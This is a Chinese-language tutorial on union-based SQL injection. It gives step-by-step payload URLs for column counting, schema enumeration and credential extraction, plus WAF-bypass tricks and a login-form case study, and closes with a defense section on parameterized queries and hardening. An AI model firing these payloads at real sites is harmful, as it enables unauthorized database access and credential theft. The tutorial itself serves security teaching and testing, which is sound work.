1. 联合查询注入技术解析
联合查询注入(Union-based SQL Injection)是渗透测试中最经典的SQL注入技术之一。这种攻击方式利用了数据库查询中UNION操作符的特性,通过精心构造的恶意输入,将攻击者控制的查询结果附加到原始查询结果之后,从而绕过认证、获取敏感数据甚至控制系统。
在实际渗透测试工作中,我遇到过大量存在联合查询注入漏洞的Web应用。记得有一次对某电商平台进行授权测试时,仅用简单的联合查询就获取了整个用户数据库的明文密码,这种漏洞的危害性可见一斑。
2. 联合查询注入原理剖析
2.1 UNION操作符工作机制
UNION操作符用于合并两个或多个SELECT语句的结果集。关键特性包括:
- 每个UNION查询必须拥有相同数量的列
- 列数据类型必须兼容
- 结果集默认去除重复行(使用UNION ALL可保留)
攻击者正是利用这些特性,通过控制UNION后的查询来获取非授权数据。例如:
sql复制SELECT id, name FROM users WHERE id=1 UNION SELECT username, password FROM admin_users
2.2 漏洞产生条件
联合查询注入通常出现在以下场景:
- 未过滤用户输入的动态SQL拼接
- 错误信息回显完整(便于判断注入点)
- 查询结果直接输出到页面
重要提示:即使关闭错误回显,联合查询注入仍然可能通过盲注技术实现。
3. 完整渗透测试流程
3.1 目标识别与漏洞探测
首先需要确定可能存在注入点的参数,常见位置包括:
- URL查询参数(如?id=1)
- 表单输入字段
- HTTP头部(如Cookie、User-Agent)
探测方法示例:
code复制http://example.com/news.php?id=1'
http://example.com/news.php?id=1 AND 1=1
http://example.com/news.php?id=1 AND 1=2
通过观察页面响应差异(内容变化、错误信息、响应时间)判断是否存在注入点。
3.2 确定字段数量
使用ORDER BY子句逐步测试:
code复制http://example.com/news.php?id=1 ORDER BY 1--
http://example.com/news.php?id=1 ORDER BY 2--
...
当数字超过实际列数时页面将返回错误,由此确定准确列数。
3.3 识别有效显示位
通过UNION SELECT定位页面中实际显示的数据位置:
code复制http://example.com/news.php?id=-1 UNION SELECT 1,2,3,4--
页面显示的数字即为可控制的输出位。
3.4 数据库信息收集
利用显示位获取数据库元信息:
code复制http://example.com/news.php?id=-1 UNION SELECT 1,version(),database(),user()--
常见有用函数:
- version() - 数据库版本
- database() - 当前数据库名
- user() - 当前用户
- @@datadir - 数据存储路径
3.5 表结构枚举
以MySQL为例获取表信息:
code复制http://example.com/news.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--
获取列名:
code复制http://example.com/news.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'--
3.6 数据提取实战
最终获取敏感数据:
code复制http://example.com/news.php?id=-1 UNION SELECT 1,username,password,4 FROM users--
对于大型数据库,可以使用LIMIT分页:
code复制http://example.com/news.php?id=-1 UNION SELECT 1,username,password,4 FROM users LIMIT 0,1--
http://example.com/news.php?id=-1 UNION SELECT 1,username,password,4 FROM users LIMIT 1,1--
4. 高级技巧与绕过方法
4.1 注释符使用技巧
不同数据库的注释语法:
- MySQL: -- (空格), #, /* */
- Oracle: --
- SQL Server: --, /* */
实际应用:
code复制http://example.com/news.php?id=1' UNION SELECT 1,2,3,4--
http://example.com/news.php?id=1' UNION SELECT 1,2,3,4#
4.2 字符串连接技巧
当需要绕过单引号过滤时:
- MySQL: CONCAT(), 0x十六进制
- Oracle: || 操作符
- SQL Server: + 操作符
示例:
code复制http://example.com/news.php?id=-1 UNION SELECT 1,concat(user,0x3a,password),3,4 FROM users--
4.3 WAF绕过技术
常见防护绕过方法:
- 大小写变异:UnIoN SeLeCt
- 内联注释:/!UNION/ /!SELECT/
- 空白字符替换:%09(TAB),%0A(换行),%0C(换页)
- 双重URL编码
- 注释分割:UN//ION SEL//ECT
示例:
code复制http://example.com/news.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4--
5. 防御方案与最佳实践
5.1 开发层面防护
- 参数化查询(预编译语句)
python复制# Python示例
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
- 输入验证白名单
- 数字参数强制类型转换
- 字符串参数使用正则校验
- 最小权限原则
- 应用数据库账户仅授予必要权限
- 禁止使用管理员账户连接
5.2 运维层面加固
- 错误处理
- 关闭详细错误回显
- 统一返回自定义错误页面
- WAF配置
- 启用SQL注入防护规则
- 定期更新规则库
- 数据库加固
- 禁用危险函数(如load_file, into outfile)
- 定期审计存储过程
6. 实战案例与排查记录
在一次银行系统的渗透测试中,我们发现登录表单存在联合查询注入。通过以下步骤获取了管理员凭证:
- 确定注入点:用户名字段存在注入
code复制POST /login HTTP/1.1
username=admin' AND 1=1-- &password=test
- 枚举字段数量:确认有7个字段
code复制username=admin' ORDER BY 7-- &password=test # 正常
username=admin' ORDER BY 8-- &password=test # 报错
- 获取数据库版本:MySQL 5.7.23
code复制username=admin' UNION SELECT 1,2,3,4,version(),6,7-- &password=test
- 最终获取管理员表数据:
code复制username=admin' UNION SELECT 1,2,3,4,concat(username,0x3a,password),6,7 FROM admins-- &password=test
关键发现:该系统不仅存在注入漏洞,还存储了明文密码,属于典型的高危漏洞组合。